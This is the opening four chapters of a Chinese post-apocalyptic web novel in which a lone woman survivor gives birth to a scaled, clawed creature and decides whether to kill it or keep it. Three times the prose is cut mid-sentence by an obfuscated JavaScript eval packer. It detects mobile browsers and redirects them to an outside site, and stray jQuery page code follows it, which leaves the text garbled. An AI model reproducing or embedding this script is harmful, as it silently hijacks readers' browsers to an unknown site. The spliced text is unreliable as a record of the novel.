《末世第十年》 1. 001 末世第十年,不知道具体日期,按季节来看,大概在初春。 我已经差不多快半年没见过活人了。 从早上起来,我就觉得肚子隐隐作痛,抱着凸起的肚子,我再次思考起这里面究竟是什么东西。 我觉得我应该是怀孕了,但是理智告诉我不可能,因为我上一次和男人有过亲密接触还是在三年前,而我的肚子是在三个月前忽然慢慢变大的,所以从时间上来说,我肚子里的不可能是个孩子。另外,怀了三个月身孕的孕妇,肚子也不会像我这么大。 这三个月间,我感受着肚子慢慢变大,一直在猜测到底是什么原因,最开始我觉得自己是生病了,因为吃了什么不该吃的东西。在这个完全变成了废土一样的末世,所有文明时期生产的食物几乎全都已经过期,就算能找到幸存的食物,也早就变质。 而能作为食物的变异动物植物,谁也不知道长期食用是不是会发生什么病变。为了生存,我吃了许多乱七八糟的变异动植物,幸运的一直没被毒死,但我的这份幸运,也许即将结束了。 我抱着这种想法过了一个半月后,开始偶尔觉得自己听到了肚子里的另一个小小的心跳。夜里一个人安静躺在那的时候,听得格外清楚。 我怀疑自己是不是幻听了,但是两个月后,我又摸到了肚子里那东西在动。第一次摸到跳动的时候,我被惊了一下,然后开始思考,肚子里的是什么怪物。 然后到了今天,平时还算安静的那东西,开始频繁在我肚子里折腾起来。 这东西该不是要出来了吧?我这样想着,然后裹紧身上的衣服,起身拿了杯子和牙刷蹲在门前的小水沟前刷牙。 这牙刷原本浓密的毛刷就剩下稀疏的几根,但我还在用,因为我之前找到的牙刷已经消耗光了,要是扔了这支,我大概就只能漱漱口代替刷牙。牙膏也早就用光,没找到替代品,只能多刷几次尽量保持清洁。 要是早几年,忙着逃亡的时候我大概没这个心思考虑牙齿,但现在,还活着的人也没多少,我一个人在这里蜗居,能做的事很少,难免就对这些小事也开始在意起来。 屋里有一块镜子,路过的时候我照了照,发现头发又长长了。我不留长发的习惯是从末世开始有的,还曾经剃过几次光头,除了冬天的时候冷了点,其余时候都非常方便,至少不会和那些头发油腻没有水洗,结在一起还长虱子的女人们一样苦恼。 这两年,我的头发长度保持在耳朵下,因为没有称手的工具,我不敢拿着平时用来砍丧尸和变异动物植物的两把柴刀贴着头皮剃头发,一个不好,说不定要把自己的脑袋削掉一块。 耳下这个位置,用柴刀削比较方便。我拿起用来杀变异动物植物的那把柴刀,对着自己的头发比划了一下,然后侧着脑袋削。 柴刀有点钝了,拉扯着我的脑袋疼,不过这不算什么,我面不改色的削下一大片头发,又把右边也一样削掉,完了照照镜子,比狗啃的也没好到哪里去。感觉脑袋轻松了很多,我也不管这发型有多难看,反正这几年都这样,早就看习惯了。 放下柴刀,把头发拢了拢收起来,头发能做东西,扔掉可惜了,我准备试着用头发来做些刷子。 我住的地方是个乡下老屋,但是围墙很厚,铁门也很坚固,我住在这里就是看中了这一点,而且周围没什么丧尸,比较安全,就是有时候变异动物多了点。 从堂屋走到厨房,我果然见到一个篮球那么大的变异老鼠正在灶上爬,它想偷吃我放在大锅里面的食物,但是又撬不开我罩在上面的那一大块铁皮。 我站在门口,一手握着柴刀,一手悄悄摸住了门边放的一个盆。然后忽然一大步跨进去朝那只老鼠挥舞柴刀,这家伙狡猾的很,我好几次都没能抓住它,但我这次是有准备的,它在我的柴刀下慌不择路逃出去,又一溜烟钻过了我罩下去的盆,从灶台上跑了下去。我瞅准这个时机,在灶台边缘一拍。 只听嘭的一声,屋顶上掉下来的一大块钢板把那只老鼠给砸在了下面。我并不敢这个时候就放松,直接扑上去压住那钢板,朝着那老鼠鼓起的位置用力压下去。 我感觉到身下那只老鼠在挣扎,吱吱声带着明显的痛楚。我根本就不手软,用柴刀柄一下下的隔着钢板敲击,直到我觉得那只变异老鼠应该已经死透了,这才移开钢板。 老鼠果然已经死了,我对那些被挤压出来的红红白白液体早就麻木,把死老鼠拎到盆里,准备吃完东西再料理。 抓到这只经常偷吃我食物的老鼠,我的心情还不错,这样一只肥老鼠,好好收拾一下就是一大顿肉。 掀开盖在锅上的铁皮,锅里面放着两个红薯和两个馒头。红薯是我自己在院子里种的,在这里住的两年,我都种了,这东西好种产量又大,地窖里还有一袋没有吃完。馒头是我自己做的,连面粉都是我自己磨出来的。 检查了一下发现食物没被什么东西咬过,我这才盖上盖子,坐到灶前烧火准备把吃的热一热。烧火的柴很多,附近不远处就是山,随便划拉就够烧了,不过这是熟悉后,最开始我跑到山上去砍柴,完全不知道怎么办,弄下来的全是绿叶子,烧都烧不着。 柴倒是多,但是生火的打火机快用完了。我手里这个廉价的绿色打火机已经是最后一支,之前找到的一大盒全都用完了,要是等这支打火机也用完,我就得考虑在灶里留着火,不然我可没办法弄出火来。 或许,再出去找一些生活物资。 想到这里,我又不自觉摸了摸自己凸起来的肚子。 其实,几个月前我就考虑过要不要出去找找一些生活用品,因为很多存货都差不多快要用完,可是如果决定了,我就得准备去更远的陌生城镇。附近那个走半天就到的镇上东西差不多都被我翻了一遍,已经找不到什么有用的东西。 本来就不是什么繁华的地方,末世后被大批幸存者折腾一阵,也就不剩什么。我是后来才来这里住下的,那个时候不管是村里还是镇上都已经没有人了,就连丧尸也是零星三两只。 我想找东西,要到更远更危险的地方去,除了一辆破自行车,我只能靠走的,这一个来回保守估计起码要十天,谁知道再远的镇子上还留有多少丧尸,我一个人就算再厉害,那也没法大着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726903|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肚子在一群丧尸的围攻中毫发无损的带着东西跑出来。 如果没有肚子里这东西,说不定我真的会跑一趟。但是现在,我不敢随便出门跑太远,一是因为我现在行动有点不方便,砍起丧尸和变异动物植物都很麻烦,二是如果我去了陌生地方,肚子里这东西刚好要出来,那就倒霉了。我得待在这里,等肚子里这东西出来。 我有一种预感,它很快就要出来了。等它出来,如果我还活着,再去找东西不迟,如果这怪物要了我的命,我也不必再去考虑那么多。 已经肯定了自己肚子里揣了个怪物,但我很平静。末世十年,我经历了太多太多糟糕的事,能活到现在,已经没有多少事能让我感到恐惧惊讶了。 我坐在灶前吃馒头红薯的时候,感觉到肚子里那东西又开始折腾,它好像努力的想要引起我的注意。 我面无表情的盯着肚子看了一会儿,终于抬手在上面摸了一下。手摸到的地方,立刻凸起了一个小包,同时就是一阵抽搐般的疼。我吸了一口气,不再管它,继续吃馒头,三两口咽下食物,我扶着灶站起来,开始烧热水。 我要把我的柴刀洗一遍,还要准备热水。 今天肚子里这东西太活跃,我心跳的也很厉害,感觉有什么事要发生。我想它大概是要出来了,比我预想的提前了很多,我必须做好准备,今天原本去田里挖野菜的计划得暂时搁置。 洗完了刀,我还在门口的磨刀石上磨了磨。肚子里冰凉下坠的疼,我一边磨刀一边深呼吸,额头上全是冷汗。 雪亮的刀锋浸在水中,闪着寒光,清洗后和两桶热水一起,被我带到了我睡觉的那个房间里。这房间不大,只有七平米的样子,塞一张床差不多就满了。这里不是没有更大的房间,但是只有这个小房间才能给我安全感,我宁愿睡在这个更小的空间里。 我把院门房门都紧紧关好,窗户缝隙塞上布条,怕待会儿血腥味会引来什么危险的东西。靠着墙坐在床上,我努力调整自己的呼吸,一手摸着肚子,一手紧紧抓住手里的柴刀。 两桶热水蒸腾,屋子里变得闷热起来,我的肚子抽痛的更加厉害,我怀疑这东西也许会刺破我的肚子肠子或者胃什么的,然后跑出来。 如果是这样,那我死前也得杀了它。 等待的时间是漫长的,在疼痛的感知下,更是无限延长。 两桶热水渐渐冷了,我已经痛的忍不住咬破了自己的嘴唇,最后胡乱的把旁边枕头上的枕巾扯下来,塞进嘴里咬着。 肚子里折腾的厉害,那东西好像准备往上跑,我心里一个咯噔,也发狠了,一手狠狠压在肚子上方,想把它从下面挤出来。这一按一压,我痛得浑身一颤,就算嘴被枕巾堵着也含糊的发出一声痛哼。 但我这个时候不能停手,所以我不断的按压肚子,渐渐地,那东西大概也明白了不能往上跑,开始顺着我的力道往下。 这一回,没过多久,那东西顺利的出来了。我感觉痛到麻木的下.身滑出来一团湿漉漉的温热物体,忙扯下嘴里的枕巾,大口喘着气低头看去。 ……那果然是一个小怪物。 2. 002 小怪物不大,瘦瘦小小的,团成一个球滚落在我曲起的脚边。 我能清楚的看到它的屁股后面有一条人类不该有的尾巴,是白色的,大约和它的脚一样长,上面覆盖着细细的鳞片。 这条尾巴从腿间绕到胸前,乖乖的贴在小怪物胸口上。从尾巴连接的部位,到背后脊椎位置,都覆盖着细小的白色鳞片,一直到后脖子那里。 它的耳朵不像人类,只是连个贴在脑袋侧面的小窝窝,看着有些坚硬,紧闭的眼睛有些太大了,还有嘴巴也是。 它的手只有三根手指,或者说那是一对爪子,同样覆盖着白色的细鳞片,到手肘的部位才变成人类的皮肤。脚也是一样,同样的三根脚趾,白色鳞片,比起手更像某些动物的爪子。大概是因为刚出生,那些鳞片还有手指脚趾上的指甲,都带着点好像很容易被撕扯掉的半透明颜色。 这小怪物握在胸前的爪子,上面尖尖的指甲,虽然现在看上去软的好像能随手折断,但是我能想象等它真的长大了,也许会变成一件可怕的凶器。 这是只一旦让它成长起来,就会很危险的怪物。虽然某些地方像人类,但它不是个纯粹的人,而是如我想象中的怪物。 我不由自主的握紧了手上的柴刀,冷汗浸透了全身。 我想我必须做一个决定。 就在我面无表情微微抬起柴刀的时候,那个小怪物动了动脑袋,湿漉漉的胎发拱在我的脚踝上。 它从喉咙里发出细嫩的呼噜噜声音,两只蜷起的脚爪弹动了一下,露出肚子上连着的脐带。 它的脐带还没剪断。这根脐带好像在提醒我,它是从我肚子里滚出来的。我摩挲了一下柴刀,然后拿起刀斩了下去。 鲜血冒出来,那根脐带被我斩断。随着我的动作,那小怪物动了动,侧躺着的脑袋轱辘转动了一下,朝着我,慢慢睁开了紧闭的眼睛。 我看到它的眼皮掀开,先露出来的是一片白色的薄膜,等那层薄膜缩回去,才露出了眼睛。那是一双绿色的眼睛,带着点黄色的嫩绿,中间有一条竖瞳,看人的时候有一种冷冰冰的寒意。 我接触到它的眼神后,手里下意识的握紧了柴刀,并且警惕起来。它的大眼睛咕噜咕噜的眨了两下,接着朝我伸出了爪子。我发现它的爪子中间有乳白色的蹼,张开的时候有点像一只小鸭爪。 它想做什么?想吃我?我冷冷的看着它,手里的柴刀蓄势待发。我早就学会了,不该心软的时候不能心软。 但这小怪物的爪子伸到一半就软绵绵的耷拉下去,它还不能爬,没骨头似得在原地蹭了两蹭,毛毛虫一样拱来拱去,最多就动动爪子,没有我之前想象的那么危险。我稍稍放松,再用了一下力,肚子里连着另外半截脐带的胎盘,也随着一股液体一起滑了出来。 血污混杂的味道不好闻,那小怪物躺在那挣扎,我却没有碰它的意思,只冷眼看着它想干什么。 说实话我现在不知道该怎么办,原本我的打算是如果生下个怪物,就趁它还不能伤害我的时候一刀解决了,然后扔的远远的,或者找个地方把尸体埋起来。 但现在……这小怪物除去手和脚以及尾巴耳朵眼睛,其他地方,真的很像个小婴儿。 扔远点,让它自生自灭吧。最后我这样想着。 既然决定了,我也不管这小怪物了,自己爬起来用已经冷了的水清理了一下自己,然后连着被子一起,把小怪物打包放到了另一个房间,自己回到原本的房间,锁好门躺下休息。 折腾了这么久,我实在太累了,肚子里还在痛,连着我的脑袋都痛起来。如果不能好好休息,我怕自己撑不住。现在早就没有了医生,每一次生病都只能自己硬抗,连药都没有,我得尽快养好身体,否则等着我的就只有死亡。 末世的十年锻炼,能让任何一个女人都比和平时期的男人更加强壮坚韧,就算刚生下那东西,我也没法静养,所以只能抓紧时间休息。 睡这一觉的时候我做梦了,梦里总有个声音在咩咩叫,很吵。 等我醒过来,已经到了晚上,看天色大概是晚上七、八点钟的样子,我没睡多久。但是已经足够让我调整过来,末世开始那两年,我几乎是每天都无法睡觉,长时间的疲劳和只有极短时间的休息,让我练就了这种快速恢复的本能。 从床上起来,我感觉自己已经差不多没什么事了。首先要解决的是我的肚子问题,生下那东西消耗了我太多体力,我得先做点吃的填填肚子。 从卧室出来,路过旁边那个房间的时候,我的脚步顿了顿。我想起这里面还有个小怪物,几个小时没管,说不定已经死了。 “咚!” 里面传来一声什么东西摔倒的动静。 我握着把手推开门,人站在门口没有进去,柴刀横在面前,先把里面的情况看清楚了,才慢慢放下了柴刀。 原本被我连被子一起扔在床上的小怪物,这会儿摔在了地上,沾了灰显得灰扑扑的,一动不动。 死了吗?我微微皱了皱眉,慢慢走进去,用柴刀柄把那小怪物翻了个身。它的胸口还在起伏,显然没死。 小怪物忽然睁开了眼睛,那双绿眼睛一动不动的看着我,忽然,它好像又来劲了,伸出爪子来抓我。我没躲,裤脚被它的爪子勾住了。 我有点惊讶,这么一段时间,它的爪子好像比刚出生时锋利了不少,我又伸手摸了一下这小怪物的尾巴,感觉尾巴上的鳞片也比一开始要硬了。 小怪物见我摸它尾巴,不知道为什么好像有点高兴,努力伸长了两只爪子,抱住了我一只脚,然后仰着头对着我叫。 它的叫声让我露出惊讶的表情。 因为它是咩咩叫的,像只羊一样。软绵绵的,还带点颤音,一边叫,一边用力仰头来看我,但是没什么力气,抬了一会儿脑袋,又脱力的耷拉下去,那颗脑袋就搭在我的鞋面上。 我忽然一手抬起它的脸蛋,捏开它的嘴往里看,果然他的嘴里都是那种尖尖的牙齿,雪亮的。刚才我听它咩咩叫的时候露出了一点白色,就怀疑这东西刚生出来是有牙齿的,现在一看,不仅是有牙齿,还比人类的牙齿更尖利。 从这口牙来看,这东西是吃肉的。 要是不张开嘴,这小怪物的嘴巴看上去只是比一般的小婴儿稍微大一点而已,但是咧开后就发现,它的嘴肯定能张很大。我捏着它的嘴左右瞧,它也不反抗,乖乖的让我捏着,绿色大眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726904|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛看着我,明明是那种冷血动物的天生冰凉,我却从里面瞧出了些……濡慕眷恋之类的感情。 怪物也有雏鸟情节的吗?我心里怪怪的。 沉默一会儿,放开它的脑袋,我手上稍微用了点力道想把它从我腿上拽开。但是它好像意识到我的想法,两只小爪子紧紧抱着我的脚踝,怎么都不肯放开,嘴里不停的咩咩叫。 我感觉梦里那个叫声,就是这东西的。 “放开我。”我对这小怪物说。 它听不懂我的话,依旧紧紧抱着我的脚,连两只脚爪子都用上了。但它毕竟还太小,我放下柴刀双手把它拉扯开,扔回了床上。它在被子里滚了一圈,朝我发出哀哀的叫声。 我不看它,摸了一下裤腿上被它爪子勾出来的破洞,拿着柴刀转身离开这个房间。走到院子里的时候,我看了一眼自己手里的柴刀。 这个小怪物长得太快,它远比我之前想象的更危险,要是让它成长起来,说不定以后会是一个可怕的敌人,也许它会和那些凶残的变异动物一样,狩猎人类。 我曾经有个朋友,她养着一条狗,她们一家人几乎是把那只狗当成了家里的另一位成员,但是末世后那只狗变异了,咬死了我那个朋友和她的父母。我是亲眼见到那只狗啃食他们尸体的,因此后来我对所有的变异动物都保持着一种绝对的警惕和畏惧,这种心态无数次的救了我。 我不能完全信任别人,甚至其他生物,所以现在我才一个人住在这里。 就连所谓最忠诚的,从小养到大的狗都能噬主,这样一个怪物,我能对它有什么期待。如果放在身边,那么等它长到足够杀死我的时候,或许就会吃了我。如果把它扔远,它侥幸没死,那么长大后再见到我,说不定还会怀恨在心,对我造成威胁,到那个时候我能逃生吗? 所以最干脆的解决方法还是像我最开始打算的那样,杀了它。可真要杀了它吗?我难得的犹豫起来。 沉默的走进厨房,把早上杀的那只老鼠提到水池旁边处理,熟练的剁掉老鼠头,剥掉皮,把肉切块洗干净。厨房旁边有一小块土地,我在里面种了些葱姜蒜,这时候拔出一点葱,在水里洗干净,拿回厨房。 老鼠肉打了水放在锅里煮,撒上两把盐。我现在能用的调料除了盐和葱姜蒜,没有什么其他的了。我之前幸运的找到了很多盐,但是其他的调味料早就用完。干蒜头剥两瓣,姜切一小块,全都放锅里煮,然后就不管,拿出面粉调糊。米不多了,但是面粉还有很多,我准备下点面疙瘩吃。 我做饭的手艺不算好,毕竟末世前我才是个十七岁的未成年高中生,基本上除了读书什么都不会,很多生活技能都是末世这十年学会的。有的吃就可以,挑食这种毛病,不管是谁饿上几个月就不会再有了。 老鼠肉散发出诱人的香味,锅里翻滚的面疙瘩也熟了,捞起面疙瘩放在汤盆里,就着老鼠肉,就是一顿非常不错的晚饭。 我把自己喂饱,才再次思考起小怪物的问题。 杀还是不杀? 在外面坐了半夜,身上落满了露水,我终于再次拿起了自己的柴刀,一步步朝那个关着小怪物的房间走去。 我还是得杀了它。 3. 003 屋里很黑,我点了一根蜡烛,提着柴刀,用脚推开了那扇关着小怪物的门。 它又滚到地上来了,还是一动不动的躺在那,好像死了一样。我走过去把蜡烛油滴在桌上,固定好蜡烛,才蹲下来去翻看那只小怪物。 我把它翻了个身,它也没动静,眼睛紧紧闭着。 真死了?我用手在它胸膛上感受了一下,然后沉默了。 小怪物没有呼吸了,身子也凉凉的。它肚子上的脐带脱落了,但是还有些血迹留在它的肚皮上,已经干涸斑驳。 我不是个很有同情心的人,至少现在已经不是,但不知道为什么,这一刻我心里忽然生出一种莫名的难受。人类真的很奇怪,上一刻明明我已经决定杀了它,可这东西真死了,我又有点矫情起来。 我放下柴刀,把它的尸体拿起来。我想把它埋在院子里,不过在那之前,我准备给它洗一洗身上的血渍和灰尘。 我不知道这东西是怎么出现在我的肚子里的,也没有把它当做自己的孩子,这种行为有点多余,姑且就算我是突然心软了一下。 拿着小怪物尸体往外走的时候,我想起一件事,脚下一拐,进了另一个空置的房间,从落满了灰的衣柜里翻出了件小孩子的衣服出来。 这衣服是原本屋主人的,他们大概有个孩子,小孩衣服还挺多。我随便拿了一件最小的,带着小怪物的尸体去了厨房。之前做饭后留在锅里的热水我还没倒,这会儿舀出来倒进盆里,兑了冷水。 我把小怪物的尸体放进温水里,托着它软软的脑袋,给它洗掉肚皮上的血渍,手脚爪子上的灰和土,再清洗结成块的头发。 小怪物的头发很软,感觉比我印象中的一般婴儿要长。我没照顾过这种弱小生物,而且这也已经是具尸体,不需要我多么小心,所以我也不用管那么多,就把它当个萝卜洗。给它擦洗脖子的时候,我觉得有点不对劲。 我把它从水里捞出来,仔细摸了摸脖子,好像还有气? 我刚这么想,就感觉手里一动,那小怪物竟然又睁开了眼睛。我一惊就把它摔回了水盆里,溅的盆周围都是水。我管不了那么多,下意识就环顾周围找我的柴刀。 等我拿到刀的时候,那小怪物已经从水盆里爬出来了,它浑身湿哒哒的,头发全部黏在脸上,显得那双绿眼睛更大的可怕。 它朝我爬了过来。它出生还不过一天,就已经会爬了,我一边想一边紧紧盯着它的动作。 它爬过来,和之前一样,伸出爪子抱住了我的脚,然后仰头朝我咩咩叫,还是那种很软的咩咩叫,看上去很无害。 这东西之前是假死了吗?我再次把它拉开,按着它的脑袋,同时把柴刀抵到它的脖子上。刚才洗的时候我确定了,它的脖子很软,我的柴刀绝对能砍断。 如果是刚才以为它死了之前,我觉得我能砍下去,可是出现了这样一个插曲,我却又动不了手了。 我这两年过得很太平,没有了几年前那种狠劲,要是换成几年前的我,这东西前脚从我肚子里爬出来,我后脚眼睛眨都不眨的就能掐死它,可我现在却犹豫成这样,几次想杀又几次改变主意,结果弄成现在这个样子。 那小怪物好像很聪明,对着脖子上寒光闪闪的刀,似乎明白了现在的处境,它不敢再叫了,被我捏着脑袋,就缩在那里发出轻轻的呼噜声,尾巴也卷起来,夹在□□。 它知道害怕。 过了很久,我把刀移开,放在了桌子上,再一松手,把小怪物放在了地上。 也许我会被这东西害死,我这样想。 小怪物一被我放开,就飞快的伸出两只小爪子抱住了我的腿,又开始好像撒娇一样的咩咩叫,完全把刚才的生死一刻给忘了。 我抬起手薅了一把自己的头发,又揉了揉脸。低头看那小怪物,我也不知道是笑自己还是笑它,扯了一下嘴角。 我把它抓了下来,无视他又缩起的爪子,把它放回了水盆里。水盆里的水有点冷了,我又加了一瓢热水,把小怪物刚才沾上去的灰洗掉。 我把它放在水里,它还想扑过来挨着我,我不好洗,只能一只手抵着它的脑袋,另一只手给它洗,我也不磨蹭了,三两下洗干净,提着它两只胳膊放到怀里,准备用毛巾擦干。 小怪物被我提到空中的时候,又抱着爪子缩着尾巴像个石头一样不敢动,等到了我腿上,就又活了,一脑袋倒在我肚子上,很安心的用脑袋抵着我的肚子,把自己蜷成一个球。 它还咂了咂嘴,眯起眼睛一副准备睡觉的样子。 我看到它这个样子,顿了一下,然后不客气的把它提起来用毛巾擦干,脑袋胳膊肚皮屁股尾巴腿,还有小鸡鸡。这小怪物是个男孩子。 随手擦了擦,我把刚才找出来的衣服给他套上。 这就是件长T恤,但是脑袋不知道为什么特别小,这小怪物脑袋大了点,衣服套上去扯不下来。我现在知道了,这东西生命力顽强,和一般人类婴儿不一样,所以我也不担心,直接往下拉扯,硬是把它的脑袋从那个领口里弄出来。 它被衣服蒙着脑袋的时候又叫起来,有点慌的咩咩叫,还挥舞爪子,我一手就捏住它两只爪子,不许它乱动,自己跟这衣服较劲,不过等我把衣服拉下来,他又安静了,靠在我怀里乖乖抱着自己的脚爪。 套完了脑袋,我继续给他套手臂。问题又来了,这小怪物的手是爪子,比婴儿的手粗,上面的指甲还很尖,我把它的手往袖子里套,一下子就给挂住了。 试了几次都没套进去,我只能把它的手扯出来,仔细看了看,那三根爪子还挺灵活,捏起来的话完全可以把尖锐的爪子包在里面。我自己动手把它的爪子握成拳,再往袖子里塞,塞到一半它张开手又给挂住了。 我把它爪子再次拉扯出来,然后让它看着我,在它眼前伸出我自己的手。我曲起大拇指和小拇指,只留下三根手指头,缓缓缩起来。 小怪物的眼睛看着我的脸,我把它的脑袋往下拉了拉,让它看我的手,又试了一次。它抱着自己的两只脚爪,尾巴有节奏的一甩一甩,轻轻拍在我的小腿上。我连续做了三遍,它也没反应。 我的耐心其实不太好,既然穿不进去,我就不穿了,直接把它两只手臂一起罩下来。这衣服袖子和领口是松紧的,身子倒是宽松,给小怪物罩上去后,就变成了一条裙子,连屁股也给遮住了,省得我再给它找裤子。 我把它打理完就放到一边的凳子上,自己去打水洗脸。我洗脸的时候看到它想从凳子上爬下来,往我这边抓。我心里一瞬间闪过一个念头,这小怪物恋母情结是不是太严重了,看到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726905|189498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就想蹭过来。 为了避免它再次弄脏自己,我脸上还滴着水,转身去把它提过来放在灶台上,它扶着我的洗脸盆就不动了。 我洗完脸坐在那泡脚,小怪物又窝进了我怀里。脚浸在微烫的热水里面很舒服,灶里还有柴火没烧尽,偶尔发出噼啪一声轻轻的炸响,坐在灶洞旁边暖烘烘的,我有点昏昏欲睡。 忽然想起来几年前的一个冬天,忘记是七年前还是八年前了,我那时候暂时在一个临时基地里落脚。那年冬天下了很大很大的雪,那个小基地里的人都被困死在漫天风雪中,冻死饿死了很多人。离我住的那个破屋子不远,有个孕妇。那时候,我已经很少见到孕妇了,特别是像她那样还能对陌生人露出笑容的孕妇。 在一个风雪狂啸的夜里我听到她的痛呼隐约传来,那痛苦的呼喊声持续了大半夜后渐渐停歇。 我那时还没有后来那般狠心,忍不住起身偷偷跑去看。那孕妇没能生下孩子,大概因为难产,她和她未出生的孩子一起死了。后来……后来的事我不愿多回想。一具没有亲人的尸体,周围全是因为没有食物而饥饿发狂的人,会发生什么根本毫无悬念。 很多时候我都会想,我是从地狱里走过来的人,就算不知道为了什么而活着,我也得活着。 “咕——” 这突然的声音把我惊醒,我低头一看,见到小怪物安安分分的缩在我腿上。叫声是从它肚子里传来的,它饿了。 小怪物吃什么,我不确定。我没有奶水给它,看它的那一嘴利齿,大概也不是喝奶水的。我擦了脚起身,走到大锅前。还剩了一些之前吃剩的老鼠肉,我不知道它吃不吃。揭开锅盖,我拈了一块肉试了试。 肉递到它嘴边,它动了动鼻子,伸出舌头舔了一下。我到这时候才看清,他的舌头很长,仿佛可以伸缩。吧嗒吧嗒舔了几下,它像个等着喂食的雏鸟那样张大了嘴。 果然是张血盆大口。 我把肉块丢进去,它咬的咯吱作响,一会儿就吃掉了,我只好一块块接着喂它。老鼠肉没剩多少,等到吃完了,它还在张着嘴。 它要是只吃肉,我可养不了它。我这样想,擦了擦手,然后捏着它的嘴合拢。 这小怪物倒是乖,被我合拢了嘴,也不知道是吃饱了还是知道没有吃的了,没再张着嘴要吃。我听它肚子没有再咕咕叫,也就算了,等明天试试给它吃其他东西。 我给自己找了个不小的麻烦。准备去睡觉的时候我这么想。我不可能接受这个小怪物躺在我身边,那样我会整夜睡不着,时刻下意识保持警惕,所以我最后决定把它放在另一个房间,让它自己睡。 我把它放在那个房间里的时候,它本来都快睡着了,大眼睛也眯着,可我一把它放下去,它立刻就醒了,飞快的再次抱住了我的手。 “自己睡。” 它抱着我的手想往上爬,可是最后还是被我丢在了那间房里。我自己回到睡习惯的那间狭窄小房,躺下休息。 可我没能休息多久,快要天亮的时候我醒了,我做了梦,梦里又是不断的有人在咩咩叫。我坐起来看着左边那面墙,那边就有个会咩咩叫的小怪物。可是梦中听到的咩咩叫声并没有出现,那边静悄悄的。 我犹豫了一会儿,还是爬起来穿上鞋,准备去旁边看看。 4. 004 小怪物在的那个房间,味道很难闻。我把门一打开就被里面的情景给惊了一下,但很快我就反应过来,快步走了进去。 小怪物瘫在床上,周围都是一些好像吐出来的秽物,里面还有没消化完的老鼠肉。天还没亮,外面仍旧很暗,从窗户透进来的那一丝丝光线不足以让我看清楚小怪物是什么情况,我只能又去点亮了蜡烛。 光线清晰后,我看到小怪物整个人都脏兮兮的,按了一下它瘪瘪的肚子,小怪物发出一点喘气声,它的气息微弱,眼睛也好像睁不开,但是好歹还活着。看到几乎滚在呕吐物里的小怪物,我也没嫌弃它,毕竟我从前最狼狈的时候,连续好几个月没能洗澡,味道比这难闻不知道多少倍。 这东西确实命大,这么折腾还没死。我想它大概是吃不了这种变异老鼠肉,可说实话我现在也不知道怎么办。 没考虑多久,我把小怪物再次带到厨房,给它脱掉了身上那件卷成一团,沾满了呕吐物的衣服,又随便擦了擦身子。然后用一件大外套打了个包袱,把光溜溜的小怪物塞进去,最后把那包袱的两个衣袖系在自己身上。这样一来,小怪物就被兜在我胸前。 我要出去找点东西,把它放在这里,说不定就会被什么偷溜进来的变异动物吃了,所以只能这样带着它。 小怪物也许是真的被折腾的很惨,被我这样摆弄也叫不出一声,软榻榻的被兜在衣服里,我调整了一下这个像是婴儿背带的包袱,觉得这个位置不影响我砍东西,这才固定下来。我从厨房角落里翻出竹篮子和小锄头,还有一些可以用得上的杂物。 农村的房子里,大多都有这些工具,我把这个村子其他房子里能用得上的东西,都收集到这里来了,农具也放了一堆,大部分都很有用。 带好工具,我又从橱子里拿出一个布袋斜跨在身上,往里放了两个干饼子,又灌了一壶水。做好这些准备,我才锁上厨房门,拿着柴刀等工具往外走。 我其实要去的地方并不远,但是我已经习惯了出门带齐东西,以应付各种可能出现的突发事故。天边隐约露出一点点白色,黎明前最深沉的黑暗慢慢在褪去,周围的东西也渐渐能看清了。 在这种光线下,我才会出门,否则就是再紧急的事,我都不会在看不清的黑暗里出门,那样太危险了。 初春早晨的露水还很重,我戴好那种橡胶制的厚手套,打开院门,先观察了一下外面,发现没有异样这才走出去,然后关好院门,朝出村的那条路上走去。 这条路原本是水泥路,但现在路面上出现了很多裂痕,那些缝隙里生长着野草,还有棕褐色的树根。两旁的房屋原本都是农村自己新建的房子,但荒废十年没人拾掇后,都变得残破,屋里屋外都长着各种植物,还有不少树枝从窗户里伸出来,墙壁上也爬满了各种藤蔓野草。 这么比起来,我住的那栋老瓦房看上去反倒最坚固,我两年前来这里落脚的时候,只有那栋瓦房房顶没被野草淹没。 顺着脚下这条路一直往前走,前面有一颗很大的槐树,这棵槐树变异了,但是只是体积长大了许多倍,并没有像一些危险变异植物那样开始狩猎动物,它地下的根已经延伸到了周围五百米外,我住的那个老瓦房前面也有这棵槐树的树根。树冠没有那么大,但是也像一座高塔,高大的树冠底下全都是厚厚的落叶。 等到雨季,树下会出现很多菇子,可以摘来吃。夏天最热的时候,那树底下比任何地方都要阴凉。 